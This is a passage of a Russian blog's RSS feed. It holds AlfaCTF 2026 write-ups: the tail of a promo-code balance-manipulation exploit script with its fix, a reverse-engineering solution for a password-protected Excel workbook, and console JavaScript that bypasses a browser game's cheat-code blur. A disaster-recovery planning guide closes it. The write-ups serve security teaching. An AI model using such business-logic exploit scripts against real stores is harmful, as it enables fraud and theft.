s.post(f&quot;{BASE}/api/checkout&quot;)

# 6. Получаем флаг
r = s.get(f&quot;{BASE}/api/completed&quot;)
print(r.json()[&quot;message&quot;])</pre>
  <p id="GLmr">Вывод:</p>
  <pre id="reaZ">Спасибо за покупку! Ваш заказ #539 на 31337 ₽ оформлен. Ваш шоколад уже в пути!
Для нас большая честь наградить вас... alfa{****************************}</pre>
  <h2 id="smcJ">Исправление</h2>
  <p id="NI1p">Правильный порядок — проверять тип до любых арифметических операций:</p>
  <pre id="PHFO" data-lang="typescript">// Сначала — полная валидация
if (typeof promo.amount !== &#x27;number&#x27; || typeof promo.coupon !== &#x27;string&#x27;) {
  return NextResponse.json({ error: &#x27;Invalid promocode&#x27; }, { status: 400 });
}
if (COUPONS[promo.coupon] !== promo.amount) {
  return NextResponse.json({ error: &#x27;Invalid promocode&#x27; }, { status: 400 });
}
if (session.used_coupons.includes(promo.coupon)) {
  return NextResponse.json({ error: &#x27;Promocode already used&#x27; }, { status: 400 });
}

// Только потом — изменение баланса
session.balance += promo.amount;
updateSessionBalance(sessionId, session.balance);
addUsedCoupon(sessionId, promo.coupon);</pre>
  <h2 id="7AGk">Вывод</h2>
  <p id="Awa5">Задача демонстрирует классическую ошибку в финансовой логике: операция над данными происходит раньше их валидации. Паттерн «добавить → проверить → откатить при ошибке» опасен, потому что операция += в JavaScript не является обратимой при смешении типов: + и - интерпретируют один и тот же нечисловой аргумент по-разному. Правило: в финансовом коде никогда не изменяй состояние до завершения всех проверок.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/mCdxHOkRQ24</guid><link>https://teletype.in/@freenameruuuu/mCdxHOkRQ24?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/mCdxHOkRQ24?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Учёт провизии</title><pubDate>Sat, 25 Apr 2026 18:04:57 GMT</pubDate><description><![CDATA[<img src="https://img1.teletype.in/files/cd/3c/cd3ce083-00fb-45f3-81d8-ae7cc7675d10.png"></img>CTF: АльфаЦТФ2026]]></description><content:encoded><![CDATA[
  <p id="XAur"><strong>CTF:</strong> АльфаЦТФ2026</p>
  <p id="HNaq"><strong>Автор:</strong> @frankegoesdown</p>
  <p id="1hNL"><strong>Категория:</strong> Misc / Forensics</p>
  <p id="64xM"><strong>Теги: </strong>excel, crypto, reverse</p>
  <h2 id="NT84">Описание задачи</h2>
  <figure id="EIzW" class="m_retina">
    <img src="https://img1.teletype.in/files/cd/3c/cd3ce083-00fb-45f3-81d8-ae7cc7675d10.png" width="852" />
  </figure>
  <blockquote id="PfFX">В терминале учёта провизии требуется ввести правильный пароль.</blockquote>
  <p id="jejs">Дан файл Учёт провизии.xlsx. При открытии — «терминал» на листе Panel с полем ввода пароля. Нужно найти пароль, чтобы на экране отобразился флаг.</p>
  <h2 id="Vck5">Разведка</h2>
  <p id="kaKL">XLSX — это ZIP с XML внутри. Распаковываем архив и смотрим структуру:</p>
  <pre id="e4cn">xl/workbook.xml — описание листов
xl/worksheets/
  sheet1.xml — Panel (видимый)
  sheet2.xml — s1 (скрытый)
  sheet3.xml — s2 (скрытый)
  sheet4.xml — s3 (скрытый)
xl/sharedStrings.xml — строковые константы</pre>
  <pre id="J68v">unzip &quot;Учёт провизии.xlsx&quot; -d unpacked
</pre>
  <p id="gBGJ">В workbook.xml видим три скрытых листа: s1, s2, s3. Все три участвуют в верификации пароля и рендере результата.</p>
  <h2 id="Grjy">Анализ листов</h2>
  <h3 id="LYif">Panel (sheet1) — фронтенд</h3>
  <p id="9Sjz">Ячейка B11 — сообщение валидации (через IF со ссылкой на s1). Ячейки B14 и далее — пиксели «экрана»: каждая ячейка берёт бит из s3 и закрашивается условным форматированием → pixel art.</p>
  <h3 id="q7I4"></h3>
  <h3 id="TV5e">s1 (sheet2) — проверка пароля</h3>
  <p id="yEuZ">Лист содержит многослойную линейную систему над полем Z₂₅₁ (простое p = 251). Слой 1: входной вектор x (8 байт пароля) проходит через матрицу 8×8 M1 с аффинным сдвигом c1. Слой 2: второй набор SUMPRODUCT-формул смешивает v1 и x с константами c2. Слой 3: аналогично смешивает v1, v2 и несколько отдельных линейных комбинаций. Целевой вектор v3 сравнивается с [92, 97, 27, 240, 199, 80, 217, 23]. Несмотря на трёхслойность, вся система линейна по входу x — итого одна система A_total · x ≡ targets - b_total (mod 251).</p>
  <h3 id="J63z">s2 (sheet3) — поточный шифр</h3>
  <p id="r4Zi">65-строчный ГПСЧ (ЛЦСР-подобный), реализованный формулами Excel. Состояние инициализируется байтами пароля. Генерирует поток ключевых байт через BITXOR/BITLSHIFT/BITRSHIFT операции.</p>
  <h3 id="AOdR">s3 (sheet4) — шифртекст и расшифровка</h3>
  <p id="ISaB">Ячейки D2:M27 — 260 байт шифртекста (10×26 блоков). Столбец B — ключевой поток из s2. Ячейки P2:Y27 — расшифровка: P[i] = XOR(D[i], B[i]). Расшифрованные байты — биты 26×80 пиксельного изображения (терминал).</p>
  <h2 id="nzWQ">Решение</h2>
  <h3 id="Pqf1">Гауссово исключение над Z₂₅₁</h3>
  <p id="35ss">Строим матрицу A_total (8×8) и вектор b_total (8), извлекая коэффициенты из XML всех трёх слоёв. Затем решаем систему методом Гаусса по модулю 251:</p>
  <pre id="HdA5">P = 251

def modinv(a, p):
    return pow(a, p - 2, p)

def gauss_mod(A, b, p):
    n = len(b)
    M = [A[i][:] + [b[i]] for i in range(n)]
    for col in range(n):
        pivot = next(r for r in range(col, n) if M[r][col] % p != 0)
        M[col], M[pivot] = M[pivot], M[col]
        inv = modinv(M[col][col], p)
        M[col] = [(v * inv) % p for v in M[col]]
        for r in range(n):
            if r != col and M[r][col]:
                factor = M[r][col]
                M[r] = [(M[r][j] - factor * M[col][j]) % p for j in range(n + 1)]
    return [M[i][n] for i in range(n)]

# targets из s1: [92, 97, 27, 240, 199, 80, 217, 23]
x = gauss_mod(A_total, [(t - b_total[i]) % P for i, t in enumerate(targets)], P)
# → [120, 108, 109, 97, 116, 114, 105, 120]
password = bytes(x).decode()  # → &quot;xlmatrix&quot;
</pre>
  <h2 id="rU4k"></h2>
  <h3 id="FQuP">Верификация через реализацию шифра</h3>
  <p id="jXfu">Реализуем ГПСЧ из s2 на Python, воспроизводя Excel-формулы:</p>
  <pre id="cGMo">keystream = generate_keystream(b&quot;xlmatrix&quot;, 260)
plaintext = [ct ^ ks for ct, ks in zip(ciphertext, keystream)]

# Рендер bitmap 26×80 пикселей
for row in range(26):
    line = &quot;&quot;
    for col in range(80):
        bit = plaintext[row * 10 + col // 8] &gt;&gt; (7 - col % 8) &amp; 1
        line += &quot;█&quot; if bit else &quot; &quot;
    print(line)
    </pre>
  <p id="OLLJ">На экране появляется флаг в терминальном шрифте.</p>
  <h2 id="LjFv">Ввод пароля</h2>
  <p id="oYDI">Открываем Excel, вводим xlmatrix в поле пароля на листе Panel. Формулы пересчитываются, pixel art отображает флаг.</p>
  <h2 id="Nz94">Вывод</h2>
  <p id="H5yQ">Задача многоуровневая:</p>
  <p id="Zjn9">1. Распаковка XLSX → анализ скрытых листов</p>
  <p id="TV9j">2. Обратная инженерия формул → выявление линейной структуры системы валидации</p>
  <p id="YWEh">3. Линейная алгебра над Z₂₅₁ → Гауссово исключение даёт пароль xlmatrix</p>
  <p id="AbsR">4. Воспроизведение поточного шифра → расшифровка шифртекста</p>
  <p id="C4Qu">5. Pixel art → флаг</p>
  <p id="6rw7">Ключевой инсайт: несмотря на три слоя SUMPRODUCT-формул с разными промежуточными переменными, вся система является составной аффинной функцией от входа — и как таковая решается методом Гаусса, а не брутфорсом.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/xA-1gLhuxuT</guid><link>https://teletype.in/@freenameruuuu/xA-1gLhuxuT?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/xA-1gLhuxuT?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Кот</title><pubDate>Sat, 25 Apr 2026 18:00:38 GMT</pubDate><description><![CDATA[<img src="https://img2.teletype.in/files/5a/94/5a94eacc-f2d5-4a06-807a-a6a42280776e.png"></img>CTF: АльфаЦТФ2026]]></description><content:encoded><![CDATA[
  <p id="7nQg"><strong>CTF:</strong> АльфаЦТФ2026</p>
  <p id="148x"><strong>Автор:</strong> @freenameruuuu</p>
  <p id="5mDe"><strong>Категория:</strong>  Web </p>
  <p id="U3Gb"><strong>Теги:</strong> Easy, Baby, Clientside</p>
  <figure id="CnlJ" class="m_retina">
    <img src="https://img2.teletype.in/files/5a/94/5a94eacc-f2d5-4a06-807a-a6a42280776e.png" width="808" />
  </figure>
  <h2 id="fp8t">1. Анализ и поиск чита</h2>
  <p id="ouee">Открываем игру <a href="https://cat-k4sl0sey.alfactf.ru/" target="_blank"><strong>cat-k4sl0sey.alfactf.ru </strong></a>браузере и смотрим DevTools. Находим в бандле React-компонент с панелью «Чит-коды», где canvas с кодами размыт через CSS-фильтр filter: blur(...).</p>
  <p id="IRYG">Код рендера фрагмента (упрощённо):</p>
  <pre id="4zia" data-lang="javascript">&#x27;canvas&#x27;, {
  className: &#x27;cheat-copy-canvas&#x27;,
  style: { filter: &#x27;blur(&#x27; + _0x44f724.blur + &#x27;px)&#x27; },
}</pre>
  <p id="XlXp">Понимаем, что если убрать blur на этом элементе, то содержимое с читами станет читаемым без решения внутренней логики.</p>
  <h2 id="8ekA">2. Снимаем blur и разлочиваем панель</h2>
  <p id="P3Wo">Через консоль добавляем свои стили и убираем размытие:</p>
  <pre id="joB0" data-lang="javascript">(() =&gt; {
  const style = document.createElement(&#x27;style&#x27;);
  style.textContent = &#x60;
    .cheat-copy-canvas {
      filter: none !important;
    }
    .cheat-panel.unlocked .cheat-cover {
      background: rgba(121,167,124,0.2) !important;
      color: rgba(24,32,29,0.72) !important;
    }
  &#x60;;
  document.head.appendChild(style);

  document
    .querySelectorAll(&#x27;.cheat-panel&#x27;)
    .forEach(p =&gt; p.classList.add(&#x27;unlocked&#x27;));
})();</pre>
  <p id="hPnl">После этого размытие пропадает, панель выглядит как разблокированная, и становится видно два стандартных чита:</p>
  <ul id="9XXf">
    <li id="EyGg">FASTER: catcatcat</li>
    <li id="Ax5O">GODMODE: powerup</li>
  </ul>
  <h2 id="Cvfy">3. Включаем «автопрыгуна»</h2>
  <p id="gXFn">Чтобы не играть руками, делаем простого автопрыгуна, который периодически отправляет в игру нажатие клавиши прыжка:</p>
  <pre id="B9Vy" data-lang="javascript">(() =&gt; {
  function tapJump() {
    const ev = new KeyboardEvent(&#x27;keydown&#x27;, { key: &#x27; &#x27;, bubbles: true });
    window.dispatchEvent(ev);
  }
  // подбираем период так, чтобы кот перепрыгивал препятствия
  setInterval(tapJump, 400);
})();</pre>
  <p id="PLFC">Теперь персонаж сам прыгает с заданным периодом, остаётся только стартануть игру и дать ей добежать до конца дорожки.</p>
  <h2 id="b54f">4. Вводим чит-коды «как в GTA»</h2>
  <p id="jAcn">Используем найденные коды, имитируя классический стиль GTA — вводим слова прямо во время игры без отдельного меню. Чтобы автоматизировать, отправляем в консоль:</p>
  <pre id="T4TO" data-lang="javascript">(() =&gt; {
  function typeCheat(str) {
    for (const ch of str) {
      const ev = new KeyboardEvent(&#x27;keydown&#x27;, { key: ch, bubbles: true });
      window.dispatchEvent(ev);
    }
  }

  // сначала ускорение
  typeCheat(&#x27;catcatcat&#x27;);
  // затем годмод
  typeCheat(&#x27;powerup&#x27;);
})();</pre>
  <p id="aQJL">Игра воспринимает последовательность нажатий так же, как ручной набор с клавиатуры, и активирует FASTER и GODMODE. Надписи в панели меняются на «активирован», а кот с автопрыгуном уверенно добегает до конца.</p>
  <h2 id="Temp">5. Получаем флаг</h2>
  <p id="h14x">Поздравляю, вы хакер</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/dr-plan</guid><link>https://teletype.in/@freenameruuuu/dr-plan?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/dr-plan?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>🔴 Disaster Recovery Plan: мини разбор от «зачем» до «как проверять»</title><pubDate>Fri, 10 Apr 2026 08:22:14 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/c2/fc/c2fc64e6-1592-48c5-951d-d24ad770db22.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/8e/b2/8eb2c287-1edb-4779-bd6f-c290f49a46d5.png"></img>Здесь должно было быть описание, зачем нужен DR-план, но по факту, достаточно один раз две недели без выходных восстанавливать систему после инцидента, чтобы понять зачем он нужен, и все таки..]]></description><content:encoded><![CDATA[
  <h2 id="dwt4">Что такое DR-план и зачем он нужен</h2>
  <p id="p9GC">DR-план (Disaster Recovery Plan), или если на *птичьем* «План ОНиВД» (Обеспечения Непрерывности и Восстановления Деятельности) — это документ, который отвечает на один вопрос: «Когда всё сломается — кто, что и в каком порядке делает?»</p>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="wkPT">Это не просто инструкция по бэкапам как в <a href="https://music.yandex.ru/album/6750865/track/49250170?utm_source=web&utm_medium=copy_link" target="_blank">песенке НТР</a>. Это полноценный операционный документ с ролями, контактами, сценариями, триггерами и процедурами эскалации.</p>
  </section>
  <h2 id="08Uc">Две метрики, которые определяют всё</h2>
  <p id="DPUr">Прежде чем писать план, нужно ответить на два вопроса:</p>
  <p id="ISZc"><strong>RTO — Recovery Time Objective</strong> — сколько времени допустимо на восстановление. Максимум, сколько система может лежать.</p>
  <p id="Sb2s"><strong>RPO — Recovery Point Objective </strong>— на сколько назад можно откатиться. Допустимый объём потери данных.</p>
  <figure id="IaOF" class="m_original">
    <img src="https://img1.teletype.in/files/8e/b2/8eb2c287-1edb-4779-bd6f-c290f49a46d5.png" width="702" />
    <figcaption>Это классика жанра. «А где бэкап? — На сервере...»</figcaption>
  </figure>
  <h2 id="IPiE">Классы критичности</h2>
  <p id="ABMf">Не все системы одинаково важны:</p>
  <p id="XLJW">- <strong>Mission Critical </strong>— падение = катастрофа, полный тест DR ежегодно, эскалация если не восстановили за 72 часа<br />- <strong>Business Critical </strong>— существенный ущерб, полный тест не реже раза в год<br /><strong>- Business Operational / Office Productivity</strong> — менее критично, тест раз в 2 года</p>
  <h2 id="MsKw"><strong>Структура плана</strong></h2>
  <figure id="lZZM" class="m_column">
    <img src="https://img4.teletype.in/files/f5/2c/f52ce754-7cba-4215-b8ad-66df21c882fd.png" width="1024" />
    <figcaption>Так выглядит Rex, которому сказали «напиши DR-план к утру» — без шаблона и примеров. С шаблоном — спокойнее.</figcaption>
  </figure>
  <p id="5TI2">Обязательные блоки:</p>
  <p id="08wT"><strong>1. Общие положения</strong> — идентификатор системы, класс критичности, RTO/RPO, сценарии утраты непрерывности и стратегии реагирования на каждый.</p>
  <p id="D9Ql"><strong>2. Команда и ресурсы </strong>— Координатор + Заместитель (минимум 2 человека с мобильными контактами), плюс внутренние ресурсы (железо, бэкапы, дистрибутивы) и внешние поставщики с режимом доступности.[^1]</p>
  <p id="DTmi"><strong>3. Порядок реагирования </strong>— цепочка:</p>
  <p id="C8DZ"><code>Триггер обнаружен → <br />Информирование Координатора → <br />Принятие решения об активации → <br />Оповещение команды (≤15 минут) → <br />Пошаговое выполнение стратегии → Подтверждение восстановления</code><br /></p>
  <p id="VOof"><strong>4. Эскалация </strong>— <s>если стратегия не сработала. Для Mission Critical: 72 часа не восстановились — обязательная эскалация. В рабочее время — руководителю РГ, в нерабочее — дежурному департамента.</s> Лучше сразу.</p>
  <p id="EcGt"></p>
  <h3 id="JB2M">Как тестируют DR-план</h3>
  <p id="aRId">Пять режимов тестирования:</p>
  <figure id="XX5t" class="m_column">
    <img src="https://img2.teletype.in/files/5f/69/5f6927f3-7b6d-497c-9fcf-51eff5149347.png" width="1174" />
  </figure>
  <p id="ad80"></p>
  <p id="9Fkk">По итогам — Протокол испытаний с фактическими vs плановыми показателями и списком проблем.</p>
  <h2 id="1jrd">Актуализация: план — живой документ</h2>
  <p id="gHk5">Бэкапов много не бывает. Но только если они актуальные и проверенные.</p>
  <p id="j3Ez">Требования:[^1]</p>
  <p id="Xf4n">- Изменения вносятся <strong>в день выявления</strong> любых изменений в команде или инфраструктуре<br />- Плановая актуализация — не реже **<strong>раза в 2 года</strong>**<br />- После утверждения — рассылка всем участникам в течение <strong>2 рабочих дней</strong><br />- Новые сотрудники знакомятся с планом <strong>в день приёма на работу</strong></p>
  <h3 id="3PHI">Чеклист: есть ли у тебя нормальный DR-план</h3>
  <p id="IsTj">Все сломалось, а план «дружит» с тобой как такса — кусает именно тогда, когда не ждёшь. Проверяй заранее.</p>
  <p id="s2R6">- [ ] Определены RTO и RPO для каждой критичной системы<br />- [ ] Описаны конкретные сценарии с триггерами обнаружения<br />- [ ] Есть Координатор и Заместитель с актуальными контактами<br />- [ ] Прописаны пошаговые стратегии с ответственными на каждом шаге<br />- [ ] Последний полный тест — менее года назад (для критичных систем)<br />- [ ] План обновлялся после последних изменений в инфраструктуре<br />- [ ] Все участники ознакомлены с актуальной версией</p>
  <p id="ZvH3">Если отметил меньше 5 пунктов — у тебя не DR-план, а документ надежды.</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LhO3"><strong>Вывод</strong>: DR-план работает только если его регулярно тестировать и обновлять. Потому что читать документ с нуля в 3 ночи при падении прода — это не восстановление, это паника с бумажкой в руках.</p>
  </section>
  <p id="rBpp">Совет от автора: напиши свой DR план на домашнюю инфру, добавь туда стратегии и сценарии с командами по восстановлению. Поверь, пригодиться, а потом еще за курсач засчитают в шараге/универе. Шаблончик потом можно переиспользовать<br /></p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="jHc9">Бонус, кто дочитал [<a href="https://disk.360.yandex.ru/i/zbzujeBKdu-KGg" target="_blank">клик</a>]</p>
    <p id="GUQf">❤ <a href="https://web.tribute.tg/d/zYb" target="_blank">Поддержать</a> 💬 <a href="https://t.me/writeup_ctf" target="_blank">Канал</a> &amp; <a href="https://t.me/+K6TIVnsofaAwOTRi" target="_blank">Чат</a> 📺 <a href="https://rutube.ru/channel/21865112/" target="_blank">RUTUBE</a> 📺 <a href="https://youtube.com/@writeup_ctf?si=TX1b4ep75lAYIh7a" target="_blank">YouTube</a></p>
  </section>

]]></content:encoded></item></channel></rss>